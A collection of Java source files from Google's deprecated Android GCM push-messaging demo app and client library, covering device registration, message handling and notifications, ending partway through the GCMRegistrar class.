code stringlengths 3 1.18M | language stringclasses 1 value |
|---|---|
/*
* Copyright 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.android.gcm.demo.app;
import static com.google.android.gcm.demo.app.CommonUtilities.SENDER_ID;
import static com.google.android.gcm.demo.app.CommonUtilities.displayMessage;
import android.app.Notification;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import com.google.android.gcm.GCMBaseIntentService;
/**
* IntentService responsible for handling GCM messages.
*/
public class GCMIntentService extends GCMBaseIntentService {
@SuppressWarnings("hiding")
private static final String TAG = "GCMIntentService";
public GCMIntentService() {
super(SENDER_ID);
}
@Override
protected void onRegistered(Context context, String registrationId) {
Log.i(TAG, "Device registered: regId = " + registrationId);
displayMessage(context, getString(R.string.gcm_registered,
registrationId));
ServerUtilities.register(context, registrationId);
}
@Override
protected void onUnregistered(Context context, String registrationId) {
Log.i(TAG, "Device unregistered");
displayMessage(context, getString(R.string.gcm_unregistered));
ServerUtilities.unregister(context, registrationId);
}
@Override
protected void onMessage(Context context, Intent intent) {
Log.i(TAG, "Received message. Extras: " + intent.getExtras());
String message = getString(R.string.gcm_message);
displayMessage(context, message);
// notifies user
generateNotification(context, message);
}
@Override
protected void onDeletedMessages(Context context, int total) {
Log.i(TAG, "Received deleted messages notification");
String message = getString(R.string.gcm_deleted, total);
displayMessage(context, message);
// notifies user
generateNotification(context, message);
}
@Override
public void onError(Context context, String errorId) {
Log.i(TAG, "Received error: " + errorId);
displayMessage(context, getString(R.string.gcm_error, errorId));
}
@Override
protected boolean onRecoverableError(Context context, String errorId) {
// log message
Log.i(TAG, "Received recoverable error: " + errorId);
displayMessage(context, getString(R.string.gcm_recoverable_error,
errorId));
return super.onRecoverableError(context, errorId);
}
/**
* Issues a notification to inform the user that server has sent a message.
*/
private static void generateNotification(Context context, String message) {
int icon = R.drawable.ic_stat_gcm;
long when = System.currentTimeMillis();
NotificationManager notificationManager = (NotificationManager)
context.getSystemService(Context.NOTIFICATION_SERVICE);
Notification notification = new Notification(icon, message, when);
String title = context.getString(R.string.app_name);
Intent notificationIntent = new Intent(context, DemoActivity.class);
// set intent so it does not start a new activity
notificationIntent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP |
Intent.FLAG_ACTIVITY_SINGLE_TOP);
PendingIntent intent =
PendingIntent.getActivity(context, 0, notificationIntent, 0);
notification.setLatestEventInfo(context, title, message, intent);
notification.flags |= Notification.FLAG_AUTO_CANCEL;
notificationManager.notify(0, notification);
}
}
| Java |
/*
* Copyright 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.android.gcm.demo.app;
import static com.google.android.gcm.demo.app.CommonUtilities.SERVER_URL;
import static com.google.android.gcm.demo.app.CommonUtilities.TAG;
import static com.google.android.gcm.demo.app.CommonUtilities.displayMessage;
import com.google.android.gcm.GCMRegistrar;
import android.content.Context;
import android.util.Log;
import java.io.IOException;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Map.Entry;
import java.util.Random;
/**
* Helper class used to communicate with the demo server.
*/
public final class ServerUtilities {
private static final int MAX_ATTEMPTS = 5;
private static final int BACKOFF_MILLI_SECONDS = 2000;
private static final Random random = new Random();
/**
* Register this account/device pair within the server.
*
*/
static void register(final Context context, final String regId) {
Log.i(TAG, "registering device (regId = " + regId + ")");
String serverUrl = SERVER_URL + "/register";
Map<String, String> params = new HashMap<String, String>();
params.put("regId", regId);
long backoff = BACKOFF_MILLI_SECONDS + random.nextInt(1000);
// Once GCM returns a registration id, we need to register it in the
// demo server. As the server might be down, we will retry it a couple
// times.
for (int i = 1; i <= MAX_ATTEMPTS; i++) {
Log.d(TAG, "Attempt #" + i + " to register");
try {
displayMessage(context, context.getString(
R.string.server_registering, i, MAX_ATTEMPTS));
post(serverUrl, params);
GCMRegistrar.setRegisteredOnServer(context, true);
String message = context.getString(R.string.server_registered);
CommonUtilities.displayMessage(context, message);
return;
} catch (IOException e) {
// Here we are simplifying and retrying on any error; in a real
// application, it should retry only on unrecoverable errors
// (like HTTP error code 503).
Log.e(TAG, "Failed to register on attempt " + i + ":" + e);
if (i == MAX_ATTEMPTS) {
break;
}
try {
Log.d(TAG, "Sleeping for " + backoff + " ms before retry");
Thread.sleep(backoff);
} catch (InterruptedException e1) {
// Activity finished before we complete - exit.
Log.d(TAG, "Thread interrupted: abort remaining retries!");
Thread.currentThread().interrupt();
return;
}
// increase backoff exponentially
backoff *= 2;
}
}
String message = context.getString(R.string.server_register_error,
MAX_ATTEMPTS);
CommonUtilities.displayMessage(context, message);
}
/**
* Unregister this account/device pair within the server.
*/
static void unregister(final Context context, final String regId) {
Log.i(TAG, "unregistering device (regId = " + regId + ")");
String serverUrl = SERVER_URL + "/unregister";
Map<String, String> params = new HashMap<String, String>();
params.put("regId", regId);
try {
post(serverUrl, params);
GCMRegistrar.setRegisteredOnServer(context, false);
String message = context.getString(R.string.server_unregistered);
CommonUtilities.displayMessage(context, message);
} catch (IOException e) {
// At this point the device is unregistered from GCM, but still
// registered in the server.
// We could try to unregister again, but it is not necessary:
// if the server tries to send a message to the device, it will get
// a "NotRegistered" error message and should unregister the device.
String message = context.getString(R.string.server_unregister_error,
e.getMessage());
CommonUtilities.displayMessage(context, message);
}
}
/**
* Issue a POST request to the server.
*
* @param endpoint POST address.
* @param params request parameters.
*
* @throws IOException propagated from POST.
*/
private static void post(String endpoint, Map<String, String> params)
throws IOException {
URL url;
try {
url = new URL(endpoint);
} catch (MalformedURLException e) {
throw new IllegalArgumentException("invalid url: " + endpoint);
}
StringBuilder bodyBuilder = new StringBuilder();
Iterator<Entry<String, String>> iterator = params.entrySet().iterator();
// constructs the POST body using the parameters
while (iterator.hasNext()) {
Entry<String, String> param = iterator.next();
bodyBuilder.append(param.getKey()).append('=')
.append(param.getValue());
if (iterator.hasNext()) {
bodyBuilder.append('&');
}
}
String body = bodyBuilder.toString();
Log.v(TAG, "Posting '" + body + "' to " + url);
byte[] bytes = body.getBytes();
HttpURLConnection conn = null;
try {
conn = (HttpURLConnection) url.openConnection();
conn.setDoOutput(true);
conn.setUseCaches(false);
conn.setFixedLengthStreamingMode(bytes.length);
conn.setRequestMethod("POST");
conn.setRequestProperty("Content-Type",
"application/x-www-form-urlencoded;charset=UTF-8");
// post the request
OutputStream out = conn.getOutputStream();
out.write(bytes);
out.close();
// handle the response
int status = conn.getResponseCode();
if (status != 200) {
throw new IOException("Post failed with error code " + status);
}
} finally {
if (conn != null) {
conn.disconnect();
}
}
}
}
| Java |
/*
* Copyright 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.android.gcm.demo.app;
import static com.google.android.gcm.demo.app.CommonUtilities.DISPLAY_MESSAGE_ACTION;
import static com.google.android.gcm.demo.app.CommonUtilities.EXTRA_MESSAGE;
import static com.google.android.gcm.demo.app.CommonUtilities.SENDER_ID;
import static com.google.android.gcm.demo.app.CommonUtilities.SERVER_URL;
import com.google.android.gcm.GCMRegistrar;
import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.AsyncTask;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.MenuItem;
import android.widget.TextView;
/**
* Main UI for the demo app.
*/
public class DemoActivity extends Activity {
TextView mDisplay;
AsyncTask<Void, Void, Void> mRegisterTask;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
checkNotNull(SERVER_URL, "SERVER_URL");
checkNotNull(SENDER_ID, "SENDER_ID");
// Make sure the device has the proper dependencies.
GCMRegistrar.checkDevice(this);
// Make sure the manifest was properly set - comment out this line
// while developing the app, then uncomment it when it's ready.
GCMRegistrar.checkManifest(this);
setContentView(R.layout.main);
mDisplay = (TextView) findViewById(R.id.display);
registerReceiver(mHandleMessageReceiver,
new IntentFilter(DISPLAY_MESSAGE_ACTION));
final String regId = GCMRegistrar.getRegistrationId(this);
if (regId.equals("")) {
// Automatically registers application on startup.
GCMRegistrar.register(this, SENDER_ID);
} else {
// Device is already registered on GCM, check server.
if (GCMRegistrar.isRegisteredOnServer(this)) {
// Skips registration.
mDisplay.append(getString(R.string.already_registered) + "\n");
} else {
// Try to register again, but not in the UI thread.
// It's also necessary to cancel the thread onDestroy(),
// hence the use of AsyncTask instead of a raw thread.
final Context context = this;
mRegisterTask = new AsyncTask<Void, Void, Void>() {
@Override
protected Void doInBackground(Void... params) {
ServerUtilities.register(context, regId);
return null;
}
@Override
protected void onPostExecute(Void result) {
mRegisterTask = null;
}
};
mRegisterTask.execute(null, null, null);
}
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
MenuInflater inflater = getMenuInflater();
inflater.inflate(R.menu.options_menu, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
switch(item.getItemId()) {
/*
* Typically, an application registers automatically, so options
* below are disabled. Uncomment them if you want to manually
* register or unregister the device (you will also need to
* uncomment the equivalent options on options_menu.xml).
*/
/*
case R.id.options_register:
GCMRegistrar.register(this, SENDER_ID);
return true;
case R.id.options_unregister:
GCMRegistrar.unregister(this);
return true;
*/
case R.id.options_clear:
mDisplay.setText(null);
return true;
case R.id.options_exit:
finish();
return true;
default:
return super.onOptionsItemSelected(item);
}
}
@Override
protected void onDestroy() {
if (mRegisterTask != null) {
mRegisterTask.cancel(true);
}
unregisterReceiver(mHandleMessageReceiver);
GCMRegistrar.onDestroy(this);
super.onDestroy();
}
private void checkNotNull(Object reference, String name) {
if (reference == null) {
throw new NullPointerException(
getString(R.string.error_config, name));
}
}
private final BroadcastReceiver mHandleMessageReceiver =
new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
String newMessage = intent.getExtras().getString(EXTRA_MESSAGE);
mDisplay.append(newMessage + "\n");
}
};
} | Java |
/** Automatically generated file. DO NOT MODIFY */
package com.google.android.gcm;
public final class BuildConfig {
public final static boolean DEBUG = true;
} | Java |
/*
* Copyright 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.android.gcm;
/**
* Constants used by the GCM library.
*
* @deprecated GCM library has been moved to Google Play Services
* (com.google.android.gms.gcm), and this version is no longer supported.
*/
@Deprecated
public final class GCMConstants {
/**
* Intent sent to GCM to register the application.
*/
public static final String INTENT_TO_GCM_REGISTRATION =
"com.google.android.c2dm.intent.REGISTER";
/**
* Intent sent to GCM to unregister the application.
*/
public static final String INTENT_TO_GCM_UNREGISTRATION =
"com.google.android.c2dm.intent.UNREGISTER";
/**
* Intent sent by GCM indicating with the result of a registration request.
*/
public static final String INTENT_FROM_GCM_REGISTRATION_CALLBACK =
"com.google.android.c2dm.intent.REGISTRATION";
/**
* Intent used by the GCM library to indicate that the registration call
* should be retried.
*/
public static final String INTENT_FROM_GCM_LIBRARY_RETRY =
"com.google.android.gcm.intent.RETRY";
/**
* Intent sent by GCM containing a message.
*/
public static final String INTENT_FROM_GCM_MESSAGE =
"com.google.android.c2dm.intent.RECEIVE";
/**
* Extra used on
* {@value com.google.android.gcm.GCMConstants#INTENT_TO_GCM_REGISTRATION}
* to indicate which senders (Google API project ids) can send messages to
* the application.
*/
public static final String EXTRA_SENDER = "sender";
/**
* Extra used on
* {@value com.google.android.gcm.GCMConstants#INTENT_TO_GCM_REGISTRATION}
* to get the application info.
*/
public static final String EXTRA_APPLICATION_PENDING_INTENT = "app";
/**
* Extra used on
* {@value com.google.android.gcm.GCMConstants#INTENT_FROM_GCM_REGISTRATION_CALLBACK}
* to indicate that the application has been unregistered.
*/
public static final String EXTRA_UNREGISTERED = "unregistered";
/**
* Extra used on
* {@value com.google.android.gcm.GCMConstants#INTENT_FROM_GCM_REGISTRATION_CALLBACK}
* to indicate an error when the registration fails.
* See constants starting with ERROR_ for possible values.
*/
public static final String EXTRA_ERROR = "error";
/**
* Extra used on
* {@value com.google.android.gcm.GCMConstants#INTENT_FROM_GCM_REGISTRATION_CALLBACK}
* to indicate the registration id when the registration succeeds.
*/
public static final String EXTRA_REGISTRATION_ID = "registration_id";
/**
* Type of message present in the
* {@value com.google.android.gcm.GCMConstants#INTENT_FROM_GCM_MESSAGE}
* intent.
* This extra is only set for special messages sent from GCM, not for
* messages originated from the application.
*/
public static final String EXTRA_SPECIAL_MESSAGE = "message_type";
/**
* Special message indicating the server deleted the pending messages.
*/
public static final String VALUE_DELETED_MESSAGES = "deleted_messages";
/**
* Number of messages deleted by the server because the device was idle.
* Present only on messages of special type
* {@value com.google.android.gcm.GCMConstants#VALUE_DELETED_MESSAGES}
*/
public static final String EXTRA_TOTAL_DELETED = "total_deleted";
/**
* Extra used on
* {@value com.google.android.gcm.GCMConstants#INTENT_FROM_GCM_MESSAGE}
* to indicate which sender (Google API project id) sent the message.
*/
public static final String EXTRA_FROM = "from";
/**
* Permission necessary to receive GCM intents.
*/
public static final String PERMISSION_GCM_INTENTS =
"com.google.android.c2dm.permission.SEND";
/**
* @see GCMBroadcastReceiver
*/
public static final String DEFAULT_INTENT_SERVICE_CLASS_NAME =
".GCMIntentService";
/**
* The device can't read the response, or there was a 500/503 from the
* server that can be retried later. The application should use exponential
* back off and retry.
*/
public static final String ERROR_SERVICE_NOT_AVAILABLE =
"SERVICE_NOT_AVAILABLE";
/**
* There is no Google account on the phone. The application should ask the
* user to open the account manager and add a Google account.
*/
public static final String ERROR_ACCOUNT_MISSING =
"ACCOUNT_MISSING";
/**
* Bad password. The application should ask the user to enter his/her
* password, and let user retry manually later. Fix on the device side.
*/
public static final String ERROR_AUTHENTICATION_FAILED =
"AUTHENTICATION_FAILED";
/**
* The request sent by the phone does not contain the expected parameters.
* This phone doesn't currently support GCM.
*/
public static final String ERROR_INVALID_PARAMETERS =
"INVALID_PARAMETERS";
/**
* The sender account is not recognized. Fix on the device side.
*/
public static final String ERROR_INVALID_SENDER =
"INVALID_SENDER";
/**
* Incorrect phone registration with Google. This phone doesn't currently
* support GCM.
*/
public static final String ERROR_PHONE_REGISTRATION_ERROR =
"PHONE_REGISTRATION_ERROR";
private GCMConstants() {
throw new UnsupportedOperationException();
}
}
| Java |
/*
* Copyright 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.android.gcm;
import android.util.Log;
/**
* Custom logger.
*
* @deprecated GCM library has been moved to Google Play Services
* (com.google.android.gms.gcm), and this version is no longer supported.
*/
@Deprecated
class GCMLogger {
private final String mTag;
// can't use class name on TAG since size is limited to 23 chars
private final String mLogPrefix;
GCMLogger(String tag, String logPrefix) {
mTag = tag;
mLogPrefix = logPrefix;
}
/**
* Logs a message on logcat.
*
* @param priority logging priority
* @param template message's template
* @param args list of arguments
*/
protected void log(int priority, String template, Object... args) {
if (Log.isLoggable(mTag, priority)) {
String message = String.format(template, args);
Log.println(priority, mTag, mLogPrefix + message);
}
}
}
| Java |
/*
* Copyright 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.android.gcm;
import static com.google.android.gcm.GCMConstants.ERROR_SERVICE_NOT_AVAILABLE;
import static com.google.android.gcm.GCMConstants.EXTRA_ERROR;
import static com.google.android.gcm.GCMConstants.EXTRA_REGISTRATION_ID;
import static com.google.android.gcm.GCMConstants.EXTRA_SPECIAL_MESSAGE;
import static com.google.android.gcm.GCMConstants.EXTRA_TOTAL_DELETED;
import static com.google.android.gcm.GCMConstants.EXTRA_UNREGISTERED;
import static com.google.android.gcm.GCMConstants.INTENT_FROM_GCM_LIBRARY_RETRY;
import static com.google.android.gcm.GCMConstants.INTENT_FROM_GCM_MESSAGE;
import static com.google.android.gcm.GCMConstants.INTENT_FROM_GCM_REGISTRATION_CALLBACK;
import static com.google.android.gcm.GCMConstants.VALUE_DELETED_MESSAGES;
import android.app.AlarmManager;
import android.app.IntentService;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.os.PowerManager;
import android.os.SystemClock;
import android.util.Log;
import java.util.Random;
import java.util.concurrent.TimeUnit;
/**
* Skeleton for application-specific {@link IntentService}s responsible for
* handling communication from Google Cloud Messaging service.
* <p>
* The abstract methods in this class are called from its worker thread, and
* hence should run in a limited amount of time. If they execute long
* operations, they should spawn new threads, otherwise the worker thread will
* be blocked.
* <p>
* Subclasses must provide a public no-arg constructor.
*
* @deprecated GCM library has been moved to Google Play Services
* (com.google.android.gms.gcm), and this version is no longer supported.
*/
@Deprecated
public abstract class GCMBaseIntentService extends IntentService {
/**
* Old TAG used for logging. Marked as deprecated since it should have
* been private at first place.
*/
@Deprecated
public static final String TAG = "GCMBaseIntentService";
private final GCMLogger mLogger = new GCMLogger("GCMBaseIntentService",
"[" + getClass().getName() + "]: ");
// wakelock
private static final String WAKELOCK_KEY = "GCM_LIB";
private static PowerManager.WakeLock sWakeLock;
// Java lock used to synchronize access to sWakelock
private static final Object LOCK = GCMBaseIntentService.class;
private final String[] mSenderIds;
// instance counter
private static int sCounter = 0;
private static final Random sRandom = new Random();
private static final int MAX_BACKOFF_MS =
(int) TimeUnit.SECONDS.toMillis(3600); // 1 hour
/**
* Constructor that does not set a sender id, useful when the sender id
* is context-specific.
* <p>
* When using this constructor, the subclass <strong>must</strong>
* override {@link #getSenderIds(Context)}, otherwise methods such as
* {@link #onHandleIntent(Intent)} will throw an
* {@link IllegalStateException} on runtime.
*/
protected GCMBaseIntentService() {
this(getName("DynamicSenderIds"), null);
}
/**
* Constructor used when the sender id(s) is fixed.
*/
protected GCMBaseIntentService(String... senderIds) {
this(getName(senderIds), senderIds);
}
private GCMBaseIntentService(String name, String[] senderIds) {
super(name); // name is used as base name for threads, etc.
mSenderIds = senderIds;
mLogger.log(Log.VERBOSE, "Intent service name: %s", name);
}
private static String getName(String senderId) {
String name = "GCMIntentService-" + senderId + "-" + (++sCounter);
return name;
}
private static String getName(String[] senderIds) {
String flatSenderIds = GCMRegistrar.getFlatSenderIds(senderIds);
return getName(flatSenderIds);
}
/**
* Gets the sender ids.
*
* <p>By default, it returns the sender ids passed in the constructor, but
* it could be overridden to provide a dynamic sender id.
*
* @throws IllegalStateException if sender id was not set on constructor.
*/
protected String[] getSenderIds(Context context) {
if (mSenderIds == null) {
throw new IllegalStateException("sender id not set on constructor");
}
return mSenderIds;
}
/**
* Called when a cloud message has been received.
*
* @param context application's context.
* @param intent intent containing the message payload as extras.
*/
protected abstract void onMessage(Context context, Intent intent);
/**
* Called when the GCM server tells pending messages have been deleted
* because the device was idle.
*
* @param context application's context.
* @param total total number of collapsed messages
*/
protected void onDeletedMessages(Context context, int total) {
}
/**
* Called on a registration error that could be retried.
*
* <p>By default, it does nothing and returns {@literal true}, but could be
* overridden to change that behavior and/or display the error.
*
* @param context application's context.
* @param errorId error id returned by the GCM service.
*
* @return if {@literal true}, failed operation will be retried (using
* exponential backoff).
*/
protected boolean onRecoverableError(Context context, String errorId) {
return true;
}
/**
* Called on registration or unregistration error.
*
* @param context application's context.
* @param errorId error id returned by the GCM service.
*/
protected abstract void onError(Context context, String errorId);
/**
* Called after a device has been registered.
*
* @param context application's context.
* @param registrationId the registration id returned by the GCM service.
*/
protected abstract void onRegistered(Context context,
String registrationId);
/**
* Called after a device has been unregistered.
*
* @param registrationId the registration id that was previously registered.
* @param context application's context.
*/
protected abstract void onUnregistered(Context context,
String registrationId);
@Override
public final void onHandleIntent(Intent intent) {
try {
Context context = getApplicationContext();
String action = intent.getAction();
if (action.equals(INTENT_FROM_GCM_REGISTRATION_CALLBACK)) {
GCMRegistrar.setRetryBroadcastReceiver(context);
handleRegistration(context, intent);
} else if (action.equals(INTENT_FROM_GCM_MESSAGE)) {
// checks for special messages
String messageType =
intent.getStringExtra(EXTRA_SPECIAL_MESSAGE);
if (messageType != null) {
if (messageType.equals(VALUE_DELETED_MESSAGES)) {
String sTotal =
intent.getStringExtra(EXTRA_TOTAL_DELETED);
if (sTotal != null) {
try {
int total = Integer.parseInt(sTotal);
mLogger.log(Log.VERBOSE,
"Received notification for %d deleted"
+ "messages", total);
onDeletedMessages(context, total);
} catch (NumberFormatException e) {
mLogger.log(Log.ERROR, "GCM returned invalid "
+ "number of deleted messages (%d)",
sTotal);
}
}
} else {
// application is not using the latest GCM library
mLogger.log(Log.ERROR,
"Received unknown special message: %s",
messageType);
}
} else {
onMessage(context, intent);
}
} else if (action.equals(INTENT_FROM_GCM_LIBRARY_RETRY)) {
String packageOnIntent = intent.getPackage();
if (packageOnIntent == null || !packageOnIntent.equals(
getApplicationContext().getPackageName())) {
mLogger.log(Log.ERROR,
"Ignoring retry intent from another package (%s)",
packageOnIntent);
return;
}
// retry last call
if (GCMRegistrar.isRegistered(context)) {
GCMRegistrar.internalUnregister(context);
} else {
String[] senderIds = getSenderIds(context);
GCMRegistrar.internalRegister(context, senderIds);
}
}
} finally {
// Release the power lock, so phone can get back to sleep.
// The lock is reference-counted by default, so multiple
// messages are ok.
// If onMessage() needs to spawn a thread or do something else,
// it should use its own lock.
synchronized (LOCK) {
// sanity check for null as this is a public method
if (sWakeLock != null) {
sWakeLock.release();
} else {
// should never happen during normal workflow
mLogger.log(Log.ERROR, "Wakelock reference is null");
}
}
}
}
/**
* Called from the broadcast receiver.
* <p>
* Will process the received intent, call handleMessage(), registered(),
* etc. in background threads, with a wake lock, while keeping the service
* alive.
*/
static void runIntentInService(Context context, Intent intent,
String className) {
synchronized (LOCK) {
if (sWakeLock == null) {
// This is called from BroadcastReceiver, there is no init.
PowerManager pm = (PowerManager)
context.getSystemService(Context.POWER_SERVICE);
sWakeLock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
WAKELOCK_KEY);
}
}
sWakeLock.acquire();
intent.setClassName(context, className);
context.startService(intent);
}
private void handleRegistration(final Context context, Intent intent) {
GCMRegistrar.cancelAppPendingIntent();
String registrationId = intent.getStringExtra(EXTRA_REGISTRATION_ID);
String error = intent.getStringExtra(EXTRA_ERROR);
String unregistered = intent.getStringExtra(EXTRA_UNREGISTERED);
mLogger.log(Log.DEBUG, "handleRegistration: registrationId = %s, "
+ "error = %s, unregistered = %s",
registrationId, error, unregistered);
// registration succeeded
if (registrationId != null) {
GCMRegistrar.resetBackoff(context);
GCMRegistrar.setRegistrationId(context, registrationId);
onRegistered(context, registrationId);
return;
}
// unregistration succeeded
if (unregistered != null) {
// Remember we are unregistered
GCMRegistrar.resetBackoff(context);
String oldRegistrationId =
GCMRegistrar.clearRegistrationId(context);
onUnregistered(context, oldRegistrationId);
return;
}
// last operation (registration or unregistration) returned an error;
// Registration failed
if (ERROR_SERVICE_NOT_AVAILABLE.equals(error)) {
boolean retry = onRecoverableError(context, error);
if (retry) {
int backoffTimeMs = GCMRegistrar.getBackoff(context);
int nextAttempt = backoffTimeMs / 2 +
sRandom.nextInt(backoffTimeMs);
mLogger.log(Log.DEBUG,
"Scheduling registration retry, backoff = %d (%d)",
nextAttempt, backoffTimeMs);
Intent retryIntent =
new Intent(INTENT_FROM_GCM_LIBRARY_RETRY);
retryIntent.setPackage(context.getPackageName());
PendingIntent retryPendingIntent = PendingIntent
.getBroadcast(context, 0, retryIntent, 0);
AlarmManager am = (AlarmManager)
context.getSystemService(Context.ALARM_SERVICE);
am.set(AlarmManager.ELAPSED_REALTIME,
SystemClock.elapsedRealtime() + nextAttempt,
retryPendingIntent);
// Next retry should wait longer.
if (backoffTimeMs < MAX_BACKOFF_MS) {
GCMRegistrar.setBackoff(context, backoffTimeMs * 2);
}
} else {
mLogger.log(Log.VERBOSE, "Not retrying failed operation");
}
} else {
// Unrecoverable error, notify app
onError(context, error);
}
}
}
| Java |
/*
* Copyright 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.android.gcm;
import static com.google.android.gcm.GCMConstants.DEFAULT_INTENT_SERVICE_CLASS_NAME;
import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
/**
* {@link BroadcastReceiver} that receives GCM messages and delivers them to
* an application-specific {@link GCMBaseIntentService} subclass.
* <p>
* By default, the {@link GCMBaseIntentService} class belongs to the application
* main package and is named
* {@link GCMConstants#DEFAULT_INTENT_SERVICE_CLASS_NAME}. To use a new class,
* the {@link #getGCMIntentServiceClassName(Context)} must be overridden.
*
* @deprecated GCM library has been moved to Google Play Services
* (com.google.android.gms.gcm), and this version is no longer supported.
*/
@Deprecated
public class GCMBroadcastReceiver extends BroadcastReceiver {
private static boolean mReceiverSet = false;
private final GCMLogger mLogger = new GCMLogger("GCMBroadcastReceiver",
"[" + getClass().getName() + "]: ");
@Override
public final void onReceive(Context context, Intent intent) {
mLogger.log(Log.VERBOSE, "onReceive: %s", intent.getAction());
// do a one-time check if app is using a custom GCMBroadcastReceiver
if (!mReceiverSet) {
mReceiverSet = true;
GCMRegistrar.setRetryReceiverClassName(context,
getClass().getName());
}
String className = getGCMIntentServiceClassName(context);
mLogger.log(Log.VERBOSE, "GCM IntentService class: %s", className);
// Delegates to the application-specific intent service.
GCMBaseIntentService.runIntentInService(context, intent, className);
setResult(Activity.RESULT_OK, null /* data */, null /* extra */);
}
/**
* Gets the class name of the intent service that will handle GCM messages.
*/
protected String getGCMIntentServiceClassName(Context context) {
return getDefaultIntentServiceClassName(context);
}
/**
* Gets the default class name of the intent service that will handle GCM
* messages.
*/
static final String getDefaultIntentServiceClassName(Context context) {
String className = context.getPackageName() +
DEFAULT_INTENT_SERVICE_CLASS_NAME;
return className;
}
}
| Java |
/*
* Copyright 2012 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.android.gcm;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.content.pm.ActivityInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.pm.PackageManager.NameNotFoundException;
import android.content.pm.ResolveInfo;
import android.os.Build;
import android.util.Log;
import java.sql.Timestamp;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
/**
* Utilities for device registration.
* <p>
* <strong>Note:</strong> this class uses a private {@link SharedPreferences}
* object to keep track of the registration token.
*
* @deprecated GCM library has been moved to Google Play Services
* (com.google.android.gms.gcm), and this version is no longer supported.
*/
@Deprecated
public final class GCMRegistrar {
/**
* Default lifespan (7 days) of the {@link #isRegisteredOnServer(Context)}
* flag until it is considered expired.
*/
// NOTE: cannot use TimeUnit.DAYS because it's not available on API Level 8
public static final long DEFAULT_ON_SERVER_LIFESPAN_MS =
1000 * 3600 * 24 * 7;
private static final String TAG = "GCMRegistrar";
private static final String BACKOFF_MS = "backoff_ms";
private static final String GSF_PACKAGE = "com.google.android.gsf";
private static final String PREFERENCES = "com.google.android.gcm";
private static final int DEFAULT_BACKOFF_MS = 3000;
private static final String PROPERTY_REG_ID = "regId";
